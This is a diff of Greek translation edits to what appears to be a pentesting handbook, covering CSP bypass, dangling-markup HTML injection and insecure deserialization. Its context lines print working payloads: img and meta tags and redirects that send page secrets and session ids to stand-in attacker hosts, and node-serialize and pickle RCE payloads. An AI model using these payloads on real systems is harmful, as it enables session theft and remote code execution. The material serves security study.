Ωστόσο, το τελικό `http://localhost:5555/301` θα **ανακατευθυνθεί από τον server σε `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Δεδομένου ότι πρόκειται για ανακατεύθυνση, η **διαδρομή δεν λαμβάνεται υπόψη**, και το **script μπορεί να φορτωθεί**, παρακάμπτοντας έτσι τον περιορισμό της διαδρομής.
|
||||
Ωστόσο, το τελικό `http://localhost:5555/301` θα **ανακατευθυνθεί από την πλευρά του διακομιστή σε `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Δεδομένου ότι πρόκειται για ανακατεύθυνση, **η διαδρομή δεν λαμβάνεται υπόψη**, και το **script μπορεί να φορτωθεί**, παρακάμπτοντας έτσι τον περιορισμό της διαδρομής.
|
||||
|
||||
Με αυτή την ανακατεύθυνση, ακόμη και αν η διαδρομή καθοριστεί πλήρως, θα παρακαμφθεί.
|
||||
|
||||
@ -446,7 +446,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
|
||||
```
|
||||
Από: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
Μπορείτε επίσης να εκμεταλλευτείτε αυτή τη ρύθμιση για να **φορτώσετε κώδικα javascript που έχει εισαχθεί μέσα σε μια εικόνα**. Αν, για παράδειγμα, η σελίδα επιτρέπει τη φόρτωση εικόνων από το Twitter. Μπορείτε να **δημιουργήσετε** μια **ειδική εικόνα**, να την **ανεβάσετε** στο Twitter και να εκμεταλλευτείτε το "**unsafe-inline**" για να **εκτελέσετε** έναν κώδικα JS (όπως μια κανονική XSS) που θα **φορτώσει** την **εικόνα**, θα **εξάγει** τον **JS** από αυτήν και θα **τον εκτελέσει**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
Μπορείτε επίσης να εκμεταλλευτείτε αυτή τη ρύθμιση για να **φορτώσετε κώδικα javascript που έχει εισαχθεί μέσα σε μια εικόνα**. Αν, για παράδειγμα, η σελίδα επιτρέπει τη φόρτωση εικόνων από το Twitter. Μπορείτε να **δημιουργήσετε** μια **ειδική εικόνα**, να **την ανεβάσετε** στο Twitter και να εκμεταλλευτείτε το "**unsafe-inline**" για να **εκτελέσετε** έναν κώδικα JS (όπως μια κανονική XSS) που θα **φορτώσει** την **εικόνα**, θα **εξάγει** τον **JS** από αυτήν και θα **τον εκτελέσει**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### Με Service Workers
|
||||
|
||||
@ -462,7 +462,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
|
||||
|
||||
#### Chrome
|
||||
|
||||
Αν μια **παράμετρος** που στέλνετε **επικολλάται μέσα** στη **δήλωση** της **πολιτικής,** τότε μπορείτε να **αλλάξετε** την **πολιτική** με κάποιον τρόπο που την καθιστά **άχρηστη**. Μπορείτε να **επιτρέψετε το script 'unsafe-inline'** με οποιονδήποτε από αυτούς τους παρακάμψεις:
|
||||
Αν μια **παράμετρος** που στέλνετε **επικολλάται μέσα** στη **δήλωση** της **πολιτικής,** τότε μπορείτε να **αλλάξετε** την **πολιτική** με κάποιον τρόπο που την καθιστά **άχρηστη**. Μπορείτε να **επιτρέψετε το script 'unsafe-inline'** με οποιαδήποτε από αυτές τις παρακάμψεις:
|
||||
```bash
|
||||
script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
@ -548,7 +548,7 @@ run()
|
||||
|
||||
### Παράκαμψη CSP περιορίζοντας το CSP
|
||||
|
||||
Στο [**αυτή την αναφορά CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), το CSP παρακάμπτεται με την εισαγωγή μέσα σε ένα επιτρεπόμενο iframe ενός πιο περιοριστικού CSP που απαγόρευε τη φόρτωση ενός συγκεκριμένου JS αρχείου που, στη συνέχεια, μέσω **prototype pollution** ή **dom clobbering** επέτρεπε να **καταχραστεί ένα διαφορετικό σενάριο για να φορτώσει ένα αυθαίρετο σενάριο**.
|
||||
Στην [**αυτή την αναφορά CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), το CSP παρακάμπτεται με την εισαγωγή μέσα σε ένα επιτρεπόμενο iframe ενός πιο περιοριστικού CSP που απαγόρευε τη φόρτωση ενός συγκεκριμένου αρχείου JS που, στη συνέχεια, μέσω **prototype pollution** ή **dom clobbering** επέτρεπε να **καταχραστεί ένα διαφορετικό σενάριο για να φορτώσει ένα αυθαίρετο σενάριο**.
|
||||
|
||||
Μπορείτε να **περιορίσετε ένα CSP ενός Iframe** με το **`csp`** χαρακτηριστικό:
|
||||
```html
|
||||
@ -583,7 +583,7 @@ document.querySelector("DIV").innerHTML =
|
||||
- Αυτή η διεύθυνση URL στη συνέχεια ανακατευθύνει σε μια μυστική διεύθυνση URL (π.χ., `https://usersecret.example2.com`) που **δεν επιτρέπεται** από το CSP.
|
||||
- Ακούγοντας το γεγονός `securitypolicyviolation`, μπορεί κανείς να συλλάβει την ιδιότητα `blockedURI`. Αυτή η ιδιότητα αποκαλύπτει το domain της μπλοκαρισμένης URI, διαρρέοντας το μυστικό domain στο οποίο ανακατευθύνθηκε η αρχική διεύθυνση URL.
|
||||
|
||||
Είναι ενδιαφέρον να σημειωθεί ότι οι περιηγητές όπως ο Chrome και ο Firefox έχουν διαφορετικές συμπεριφορές στη διαχείριση των iframes σε σχέση με το CSP, οδηγώντας σε πιθανή διαρροή ευαίσθητων πληροφοριών λόγω μη καθορισμένης συμπεριφοράς.
|
||||
Είναι ενδιαφέρον να σημειωθεί ότι οι περιηγητές όπως ο Chrome και ο Firefox έχουν διαφορετικές συμπεριφορές στη διαχείριση iframes σε σχέση με το CSP, οδηγώντας σε πιθανή διαρροή ευαίσθητων πληροφοριών λόγω μη καθορισμένης συμπεριφοράς.
|
||||
|
||||
Μια άλλη τεχνική περιλαμβάνει την εκμετάλλευση του CSP αυτού καθαυτού για να συμπεράνουμε το μυστικό υποdomain. Αυτή η μέθοδος βασίζεται σε έναν αλγόριθμο δυαδικής αναζήτησης και στην προσαρμογή του CSP για να περιλαμβάνει συγκεκριμένα domains που είναι σκόπιμα μπλοκαρισμένα. Για παράδειγμα, αν το μυστικό υποdomain αποτελείται από άγνωστους χαρακτήρες, μπορείτε να δοκιμάσετε επαναληπτικά διαφορετικά υποdomains τροποποιώντας την οδηγία CSP για να μπλοκάρετε ή να επιτρέψετε αυτά τα υποdomains. Ακολουθεί ένα απόσπασμα που δείχνει πώς μπορεί να ρυθμιστεί το CSP για να διευκολύνει αυτή τη μέθοδο:
|
||||
```markdown
|
||||
@ -599,7 +599,7 @@ Trick from [**here**](https://ctftime.org/writeup/29310).
|
||||
|
||||
### PHP Errors when too many params
|
||||
|
||||
Σύμφωνα με την [**τελευταία τεχνική που σχολιάστηκε σε αυτό το βίντεο**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), η αποστολή πάρα πολλών παραμέτρων (1001 GET παραμέτρων αν και μπορείτε επίσης να το κάνετε με POST παραμέτρους και περισσότερα από 20 αρχεία). Οποιαδήποτε καθορισμένη **`header()`** στον PHP web κώδικα **δεν θα σταλεί** λόγω του σφάλματος που θα προκαλέσει αυτό.
|
||||
Σύμφωνα με την [**τελευταία τεχνική που σχολιάστηκε σε αυτό το βίντεο**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), η αποστολή πάρα πολλών παραμέτρων (1001 GET παραμέτρων αν και μπορείτε επίσης να το κάνετε με POST παραμέτρους και περισσότερα από 20 αρχεία). Οποιαδήποτε καθορισμένη **`header()`** στον κώδικα PHP **δεν θα σταλεί** λόγω του σφάλματος που θα προκαλέσει αυτό.
|
||||
|
||||
### PHP response buffer overload
|
||||
|
||||
@ -643,7 +643,7 @@ document.location = "https://attacker.com/?" + sessionid
|
||||
```
|
||||
### Meta tag
|
||||
|
||||
Μπορείτε να ανακατευθύνετε εισάγοντας μια ετικέτα meta (αυτή είναι απλώς μια ανακατεύθυνση, δεν θα διαρρεύσει περιεχόμενο)
|
||||
Μπορείτε να ανακατευθύνετε εισάγοντας μια ετικέτα meta (αυτό είναι απλώς μια ανακατεύθυνση, δεν θα διαρρεύσει περιεχόμενο)
|
||||
```html
|
||||
<meta http-equiv="refresh" content="1; http://attacker.com" />
|
||||
```
|
||||
|
@ -7,13 +7,13 @@
|
||||
Αυτή η τεχνική μπορεί να χρησιμοποιηθεί για να εξάγει πληροφορίες από έναν χρήστη όταν βρεθεί μια **HTML injection**. Αυτό είναι πολύ χρήσιμο αν **δεν βρείτε κανέναν τρόπο να εκμεταλλευτείτε ένα** [**XSS** ](../xss-cross-site-scripting/) αλλά μπορείτε να **εισάγετε μερικές HTML ετικέτες**.\
|
||||
Είναι επίσης χρήσιμο αν κάποιο **μυστικό αποθηκεύεται σε καθαρό κείμενο** στο HTML και θέλετε να **εξάγετε** αυτό από τον πελάτη, ή αν θέλετε να παραπλανήσετε κάποια εκτέλεση σεναρίου.
|
||||
|
||||
Διάφορες τεχνικές που αναφέρονται εδώ μπορούν να χρησιμοποιηθούν για να παρακάμψουν κάποια [**Content Security Policy**](../content-security-policy-csp-bypass/) εξάγοντας πληροφορίες με απροσδόκητους τρόπους (html ετικέτες, CSS, http-meta ετικέτες, φόρμες, base...).
|
||||
Διάφορες τεχνικές που αναφέρονται εδώ μπορούν να χρησιμοποιηθούν για να παρακάμψουν κάποια [**Content Security Policy**](../content-security-policy-csp-bypass/) εξάγοντας πληροφορίες με απροσδόκητους τρόπους (html tags, CSS, http-meta tags, forms, base...).
|
||||
|
||||
## Main Applications
|
||||
|
||||
### Stealing clear text secrets
|
||||
|
||||
Αν εισάγετε `<img src='http://evil.com/log.cgi?` όταν φορτώνεται η σελίδα, το θύμα θα σας στείλει όλο τον κώδικα μεταξύ της εισαγόμενης ετικέτας `img` και της επόμενης απόστροφου μέσα στον κώδικα. Αν κάποιο μυστικό βρίσκεται κάπως σε αυτό το κομμάτι, θα το κλέψετε (μπορείτε να κάνετε το ίδιο πράγμα χρησιμοποιώντας μια διπλή απόστροφο, ρίξτε μια ματιά σε ποιο θα ήταν πιο ενδιαφέρον να χρησιμοποιήσετε).
|
||||
Αν εισάγετε `<img src='http://evil.com/log.cgi?` όταν φορτώνεται η σελίδα, το θύμα θα σας στείλει όλο τον κώδικα μεταξύ της εισαγόμενης ετικέτας `img` και του επόμενου αποσπάσματος μέσα στον κώδικα. Αν κάποιο μυστικό βρίσκεται κάπως σε αυτό το κομμάτι, θα το κλέψετε (μπορείτε να κάνετε το ίδιο χρησιμοποιώντας ένα διπλό απόσπασμα, ρίξτε μια ματιά σε ποιο θα ήταν πιο ενδιαφέρον να χρησιμοποιήσετε).
|
||||
|
||||
Αν η ετικέτα `img` είναι απαγορευμένη (λόγω CSP για παράδειγμα) μπορείτε επίσης να χρησιμοποιήσετε `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
|
||||
```html
|
||||
@ -21,7 +21,7 @@
|
||||
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
|
||||
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
|
||||
```
|
||||
Σημειώστε ότι **το Chrome μπλοκάρει τα HTTP URLs** με "<" ή "\n" σε αυτά, οπότε μπορείτε να δοκιμάσετε άλλες πρωτοκόλλες όπως "ftp".
|
||||
Σημειώστε ότι το **Chrome μπλοκάρει τα HTTP URLs** με "<" ή "\n" σε αυτά, οπότε μπορείτε να δοκιμάσετε άλλες πρωτοκόλλες όπως το "ftp".
|
||||
|
||||
Μπορείτε επίσης να εκμεταλλευτείτε το CSS `@import` (θα στείλει όλο τον κώδικα μέχρι να βρει ένα ";")
|
||||
```html
|
||||
@ -49,7 +49,7 @@ steal me'<b>test</b>
|
||||
|
||||
### Κλοπή φορμών 3
|
||||
|
||||
Το κουμπί μπορεί να αλλάξει τη διεύθυνση URL όπου οι πληροφορίες της φόρμας θα σταλούν με την ιδιότητα "formaction":
|
||||
Το κουμπί μπορεί να αλλάξει τη διεύθυνση URL στην οποία θα σταλούν οι πληροφορίες της φόρμας με την ιδιότητα "formaction":
|
||||
```html
|
||||
<button name="xss" type="submit" formaction="https://google.com">
|
||||
I get consumed!
|
||||
@ -61,7 +61,7 @@ I get consumed!
|
||||
|
||||
### Κλοπή μυστικών σε καθαρό κείμενο 2
|
||||
|
||||
Χρησιμοποιώντας την τελευταία αναφερόμενη τεχνική για να κλέψετε φόρμες (εισαγωγή νέας κεφαλίδας φόρμας) μπορείτε στη συνέχεια να εισάγετε ένα νέο πεδίο εισόδου:
|
||||
Χρησιμοποιώντας την τελευταία αναφερόμενη τεχνική για να κλέψετε φόρμες (εισάγοντας μια νέα κεφαλίδα φόρμας) μπορείτε στη συνέχεια να εισάγετε ένα νέο πεδίο εισόδου:
|
||||
```html
|
||||
<input type='hidden' name='review_body' value="
|
||||
```
|
||||
@ -88,7 +88,7 @@ I get consumed!
|
||||
```
|
||||
### Κλοπή μυστικών σε καθαρό κείμενο μέσω noscript
|
||||
|
||||
`<noscript></noscript>` Είναι μια ετικέτα του οποίου το περιεχόμενο θα ερμηνευτεί αν ο περιηγητής δεν υποστηρίζει javascript (μπορείτε να ενεργοποιήσετε/απενεργοποιήσετε την Javascript στο Chrome στο [chrome://settings/content/javascript](chrome://settings/content/javascript)).
|
||||
`<noscript></noscript>` Είναι μια ετικέτα του οποίου το περιεχόμενο θα ερμηνευθεί αν ο περιηγητής δεν υποστηρίζει javascript (μπορείτε να ενεργοποιήσετε/απενεργοποιήσετε την Javascript στο Chrome στο [chrome://settings/content/javascript](chrome://settings/content/javascript)).
|
||||
|
||||
Ένας τρόπος για να εξάγετε το περιεχόμενο της ιστοσελίδας από το σημείο της ένεσης μέχρι το κάτω μέρος σε μια ιστοσελίδα που ελέγχεται από τον επιτιθέμενο θα είναι η ένεση αυτού:
|
||||
```html
|
||||
@ -101,8 +101,8 @@ I get consumed!
|
||||
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
|
||||
<base target='
|
||||
```
|
||||
Σημειώστε ότι θα ζητήσετε από το **θύμα** να **κλικάρει σε έναν σύνδεσμο** που θα **ανακατευθύνει** αυτόν σε **payload** που ελέγχετε εσείς. Επίσης, σημειώστε ότι το **`target`** χαρακτηριστικό μέσα στην **`base`** ετικέτα θα περιέχει **HTML περιεχόμενο** μέχρι την επόμενη μονή αποσιωπητική.\
|
||||
Αυτό θα κάνει ώστε η **τιμή** του **`window.name`** αν κλικάρετε τον σύνδεσμο να είναι όλο αυτό το **HTML περιεχόμενο**. Επομένως, καθώς **ελέγχετε τη σελίδα** στην οποία το θύμα έχει πρόσβαση κάνοντας κλικ στον σύνδεσμο, μπορείτε να αποκτήσετε πρόσβαση σε αυτό το **`window.name`** και να **exfiltrate** αυτά τα δεδομένα:
|
||||
Σημειώστε ότι θα ζητήσετε από το **θύμα** να **κλικάρει σε έναν σύνδεσμο** που θα **ανακατευθύνει** αυτόν σε **payload** που ελέγχετε εσείς. Επίσης, σημειώστε ότι το **`target`** χαρακτηριστικό μέσα στην **`base`** ετικέτα θα περιέχει **HTML περιεχόμενο** μέχρι το επόμενο μονό απόσπασμα.\
|
||||
Αυτό θα κάνει ώστε η **τιμή** του **`window.name`** αν ο σύνδεσμος κλικάρεται να είναι όλο αυτό το **HTML περιεχόμενο**. Επομένως, καθώς **ελέγχετε τη σελίδα** στην οποία το θύμα έχει πρόσβαση κάνοντας κλικ στον σύνδεσμο, μπορείτε να αποκτήσετε πρόσβαση σε αυτό το **`window.name`** και να **exfiltrate** αυτά τα δεδομένα:
|
||||
```html
|
||||
<script>
|
||||
if(window.name) {
|
||||
@ -148,9 +148,9 @@ set_sharing({ ... })
|
||||
```html
|
||||
<script src="/search?q=a&call=alert(1)"></script>
|
||||
```
|
||||
### Iframe abuse
|
||||
### Κατάχρηση Iframe
|
||||
|
||||
Ένα παιδικό έγγραφο έχει τη δυνατότητα να δει και να τροποποιήσει την ιδιότητα `location` του γονέα του, ακόμη και σε καταστάσεις διασυνοριακής προέλευσης. Αυτό επιτρέπει την ενσωμάτωση ενός script μέσα σε ένα **iframe** που μπορεί να ανακατευθύνει τον πελάτη σε μια αυθαίρετη σελίδα:
|
||||
Ένα παιδικό έγγραφο έχει τη δυνατότητα να βλέπει και να τροποποιεί την ιδιότητα `location` του γονέα του, ακόμη και σε καταστάσεις διασυνοριακής προέλευσης. Αυτό επιτρέπει την ενσωμάτωση ενός script μέσα σε ένα **iframe** που μπορεί να ανακατευθύνει τον πελάτη σε μια αυθαίρετη σελίδα:
|
||||
```html
|
||||
<html>
|
||||
<head></head>
|
||||
|
@ -100,7 +100,7 @@ This is a test<br />
|
||||
php-deserialization-+-autoload-classes.md
|
||||
{{#endref}}
|
||||
|
||||
### Serializing Referenced Values
|
||||
### Σειριοποίηση Αναφερόμενων Τιμών
|
||||
|
||||
Αν για κάποιο λόγο θέλετε να σειριοποιήσετε μια τιμή ως **αναφορά σε άλλη σειριοποιημένη τιμή**, μπορείτε:
|
||||
```php
|
||||
@ -145,7 +145,7 @@ print(base64.b64encode(pickle.dumps(P())))
|
||||
```
|
||||
Πριν ελέγξετε την τεχνική παράκαμψης, δοκιμάστε να χρησιμοποιήσετε `print(base64.b64encode(pickle.dumps(P(),2)))` για να δημιουργήσετε ένα αντικείμενο που είναι συμβατό με python2 αν τρέχετε python3.
|
||||
|
||||
Για περισσότερες πληροφορίες σχετικά με την αποφυγή από **pickle jails** ελέγξτε:
|
||||
Για περισσότερες πληροφορίες σχετικά με την έξοδο από **pickle jails** ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||||
@ -153,7 +153,7 @@ print(base64.b64encode(pickle.dumps(P())))
|
||||
|
||||
### Yaml **&** jsonpickle
|
||||
|
||||
Η παρακάτω σελίδα παρουσιάζει την τεχνική για **κατάχρηση μιας μη ασφαλούς αποσυμπίεσης σε yamls** βιβλιοθήκες python και τελειώνει με ένα εργαλείο που μπορεί να χρησιμοποιηθεί για να δημιουργήσει RCE deserialization payload για **Pickle, PyYAML, jsonpickle και ruamel.yaml**:
|
||||
Η παρακάτω σελίδα παρουσιάζει την τεχνική για **κατάχρηση μιας μη ασφαλούς αποσυμπίεσης σε yamls** βιβλιοθήκες python και τελειώνει με ένα εργαλείο που μπορεί να χρησιμοποιηθεί για να δημιουργήσει RCE payload αποσυμπίεσης για **Pickle, PyYAML, jsonpickle και ruamel.yaml**:
|
||||
|
||||
{{#ref}}
|
||||
python-yaml-deserialization.md
|
||||
@ -169,10 +169,10 @@ python-yaml-deserialization.md
|
||||
|
||||
### JS Magic Functions
|
||||
|
||||
JS **δεν έχει "μαγικές" συναρτήσεις** όπως PHP ή Python που θα εκτελούνται μόνο και μόνο για να δημιουργήσουν ένα αντικείμενο. Αλλά έχει κάποιες **συναρτήσεις** που είναι **συχνά χρησιμοποιούμενες ακόμα και χωρίς να τις καλείτε άμεσα** όπως **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
Αν καταχραστείτε μια αποσυμπίεση μπορείτε να **συμβιβάσετε αυτές τις συναρτήσεις για να εκτελέσετε άλλο κώδικα** (πιθανώς καταχρώντας τις ρυπάνσεις πρωτοτύπου) θα μπορούσατε να εκτελέσετε αυθαίρετο κώδικα όταν καλούνται.
|
||||
JS **δεν έχει "μαγικές" συναρτήσεις** όπως PHP ή Python που θα εκτελούνται μόνο και μόνο για τη δημιουργία ενός αντικειμένου. Αλλά έχει κάποιες **συναρτήσεις** που χρησιμοποιούνται **συχνά ακόμα και χωρίς να τις καλείτε άμεσα** όπως **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
Αν καταχραστείτε μια αποσυμπίεση μπορείτε να **συμβιβάσετε αυτές τις συναρτήσεις για να εκτελέσετε άλλο κώδικα** (πιθανώς καταχρώντας τις ρυπάνσεις πρωτοτύπων) μπορείτε να εκτελέσετε αυθαίρετο κώδικα όταν καλούνται.
|
||||
|
||||
Ένας άλλος **"μαγικός" τρόπος για να καλέσετε μια συνάρτηση** χωρίς να την καλέσετε άμεσα είναι με το **να συμβιβάσετε ένα αντικείμενο που επιστρέφεται από μια async συνάρτηση** (υπόσχεση). Διότι, αν **μετατρέψετε** αυτό το **επιστρεφόμενο αντικείμενο** σε άλλη **υπόσχεση** με μια **ιδιότητα** που ονομάζεται **"then" τύπου συνάρτησης**, θα **εκτελείται** μόνο και μόνο επειδή επιστρέφεται από άλλη υπόσχεση. _Ακολουθήστε_ [_**αυτό το σύνδεσμο**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _για περισσότερες πληροφορίες._
|
||||
Ένας άλλος **"μαγικός" τρόπος για να καλέσετε μια συνάρτηση** χωρίς να την καλέσετε άμεσα είναι με το **να συμβιβάσετε ένα αντικείμενο που επιστρέφεται από μια async συνάρτηση** (υπόσχεση). Διότι, αν **μετατρέψετε** αυτό το **επιστρεφόμενο αντικείμενο** σε άλλη **υπόσχεση** με μια **ιδιότητα** που ονομάζεται **"then" τύπου συνάρτησης**, θα **εκτελείται** μόνο και μόνο επειδή επιστρέφεται από άλλη υπόσχεση. _Ακολουθήστε_ [_**αυτόν τον σύνδεσμο**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _για περισσότερες πληροφορίες._
|
||||
```javascript
|
||||
// If you can compromise p (returned object) to be a promise
|
||||
// it will be executed just because it's the return object of an async function:
|
||||
@ -223,7 +223,7 @@ console.log("Serialized: \n" + payload_serialized)
|
||||
```bash
|
||||
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
||||
```
|
||||
Μπορείτε να δείτε στο παράδειγμα ότι όταν μια συνάρτηση σειριοποιείται, η σημαία `_$$ND_FUNC$$_` προστίθεται στο σειριοποιημένο αντικείμενο.
|
||||
Μπορείτε να δείτε στο παράδειγμα ότι όταν μια συνάρτηση είναι σειριοποιημένη, η σημαία `_$$ND_FUNC$$_` προστίθεται στο σειριοποιημένο αντικείμενο.
|
||||
|
||||
Μέσα στο αρχείο `node-serialize/lib/serialize.js` μπορείτε να βρείτε την ίδια σημαία και πώς ο κώδικας τη χρησιμοποιεί.
|
||||
|
||||
@ -233,7 +233,7 @@ console.log("Serialized: \n" + payload_serialized)
|
||||
|
||||
Όπως μπορείτε να δείτε στο τελευταίο κομμάτι κώδικα, **αν βρεθεί η σημαία** χρησιμοποιείται το `eval` για να αποσειριοποιήσει τη συνάρτηση, οπότε βασικά **η είσοδος του χρήστη χρησιμοποιείται μέσα στη συνάρτηση `eval`**.
|
||||
|
||||
Ωστόσο, **απλά σειριοποιώντας** μια συνάρτηση **δεν θα την εκτελέσει** καθώς θα ήταν απαραίτητο κάποιο μέρος του κώδικα να **καλεί `y.rce`** στο παράδειγμά μας και αυτό είναι πολύ **απίθανο**.\
|
||||
Ωστόσο, **απλά σειριοποιώντας** μια συνάρτηση **δεν θα την εκτελέσει** καθώς θα ήταν απαραίτητο κάποιο μέρος του κώδικα να **καλεί το `y.rce`** στο παράδειγμά μας και αυτό είναι πολύ **απίθανο**.\
|
||||
Ούτως ή άλλως, θα μπορούσατε απλά να **τροποποιήσετε το σειριοποιημένο αντικείμενο** **προσθέτοντας μερικές παρενθέσεις** ώστε να εκτελείται αυτόματα η σειριοποιημένη συνάρτηση όταν το αντικείμενο αποσειριοποιείται.\
|
||||
Στο επόμενο κομμάτι κώδικα **προσέξτε την τελευταία παρένθεση** και πώς η συνάρτηση `unserialize` θα εκτελέσει αυτόματα τον κώδικα:
|
||||
```javascript
|
||||
@ -243,7 +243,7 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
|
||||
}
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
Όπως αναφέρθηκε προηγουμένως, αυτή η βιβλιοθήκη θα πάρει τον κώδικα μετά το `_$$ND_FUNC$$_` και θα **εκτελέσει** αυτόν χρησιμοποιώντας `eval`. Επομένως, για να **αυτοεκτελείται ο κώδικας** μπορείτε να **διαγράψετε το μέρος δημιουργίας της συνάρτησης** και την τελευταία παρένθεση και **να εκτελέσετε απλά μια JS oneliner** όπως στο παρακάτω παράδειγμα:
|
||||
Όπως αναφέρθηκε προηγουμένως, αυτή η βιβλιοθήκη θα πάρει τον κώδικα μετά το `_$$ND_FUNC$$_` και θα **εκτελέσει** χρησιμοποιώντας το `eval`. Επομένως, για να **αυτοεκτελέσετε κώδικα** μπορείτε να **διαγράψετε το μέρος δημιουργίας της συνάρτησης** και την τελευταία παρένθεση και **να εκτελέσετε απλά μια JS oneliner** όπως στο παρακάτω παράδειγμα:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test =
|
||||
@ -254,7 +254,7 @@ serialize.unserialize(test)
|
||||
|
||||
### [funcster](https://www.npmjs.com/package/funcster)
|
||||
|
||||
Ένας αξιοσημείωτος τομέας του **funcster** είναι η μη προσβασιμότητα των **τυπικών ενσωματωμένων αντικειμένων**; βρίσκονται εκτός του προσβάσιμου πεδίου. Αυτός ο περιορισμός αποτρέπει την εκτέλεση κώδικα που προσπαθεί να καλέσει μεθόδους σε ενσωματωμένα αντικείμενα, οδηγώντας σε εξαιρέσεις όπως το `"ReferenceError: console is not defined"` όταν χρησιμοποιούνται εντολές όπως `console.log()` ή `require(something)`.
|
||||
Ένα αξιοσημείωτο χαρακτηριστικό του **funcster** είναι η απροσβλησία των **τυπικών ενσωματωμένων αντικειμένων**; βρίσκονται εκτός του προσβάσιμου πεδίου. Αυτός ο περιορισμός αποτρέπει την εκτέλεση κώδικα που προσπαθεί να καλέσει μεθόδους σε ενσωματωμένα αντικείμενα, οδηγώντας σε εξαιρέσεις όπως το `"ReferenceError: console is not defined"` όταν χρησιμοποιούνται εντολές όπως `console.log()` ή `require(something)`.
|
||||
|
||||
Παρά αυτόν τον περιορισμό, η αποκατάσταση πλήρους πρόσβασης στο παγκόσμιο πλαίσιο, συμπεριλαμβανομένων όλων των τυπικών ενσωματωμένων αντικειμένων, είναι δυνατή μέσω μιας συγκεκριμένης προσέγγισης. Εκμεταλλευόμενοι άμεσα το παγκόσμιο πλαίσιο, μπορεί κανείς να παρακάμψει αυτόν τον περιορισμό. Για παράδειγμα, η πρόσβαση μπορεί να αποκατασταθεί χρησιμοποιώντας το παρακάτω απόσπασμα:
|
||||
```javascript
|
||||
@ -357,7 +357,7 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA
|
||||
find . -iname "*commons*collection*"
|
||||
grep -R InvokeTransformer .
|
||||
```
|
||||
Μπορείτε να προσπαθήσετε να **ελέγξετε όλες τις βιβλιοθήκες** που είναι γνωστό ότι είναι ευάλωτες και ότι [**Ysoserial**](https://github.com/frohoff/ysoserial) μπορεί να παρέχει μια εκμετάλλευση για. Ή μπορείτε να ελέγξετε τις βιβλιοθήκες που υποδεικνύονται στο [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
||||
Μπορείτε να προσπαθήσετε να **ελέγξετε όλες τις βιβλιοθήκες** που είναι γνωστό ότι είναι ευάλωτες και ότι [**Ysoserial**](https://github.com/frohoff/ysoserial) μπορεί να παρέχει μια εκμετάλλευση. Ή μπορείτε να ελέγξετε τις βιβλιοθήκες που αναφέρονται στο [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
||||
Μπορείτε επίσης να χρησιμοποιήσετε [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) για να αναζητήσετε πιθανές αλυσίδες gadget που μπορούν να εκμεταλλευτούν.\
|
||||
Όταν εκτελείτε το **gadgetinspector** (μετά την κατασκευή του) μην ανησυχείτε για τους τόνους προειδοποιήσεων/σφαλμάτων που περνάει και αφήστε το να ολοκληρωθεί. Θα γράψει όλα τα ευρήματα κάτω από _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Παρακαλώ, σημειώστε ότι **το gadgetinspector δεν θα δημιουργήσει μια εκμετάλλευση και μπορεί να υποδείξει ψευδώς θετικά αποτελέσματα**.
|
||||
|
||||
@ -376,14 +376,14 @@ grep -R InvokeTransformer .
|
||||
|
||||
**Serialization Test**
|
||||
|
||||
Δεν είναι όλα σχετικά με το αν χρησιμοποιείται κάποια ευάλωτη βιβλιοθήκη από τον διακομιστή. Μερικές φορές μπορείτε να **αλλάξετε τα δεδομένα μέσα στο σειριασμένο αντικείμενο και να παρακάμψετε κάποιους ελέγχους** (ίσως να σας δώσει δικαιώματα διαχειριστή μέσα σε μια webapp).\
|
||||
Αν βρείτε ένα σειριασμένο αντικείμενο java που αποστέλλεται σε μια web εφαρμογή, **μπορείτε να χρησιμοποιήσετε** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **για να εκτυπώσετε σε μια πιο ανθρώπινα αναγνώσιμη μορφή το σειριασμένο αντικείμενο που αποστέλλεται**. Γνωρίζοντας ποια δεδομένα στέλνετε θα είναι πιο εύκολο να τα τροποποιήσετε και να παρακάμψετε κάποιους ελέγχους.
|
||||
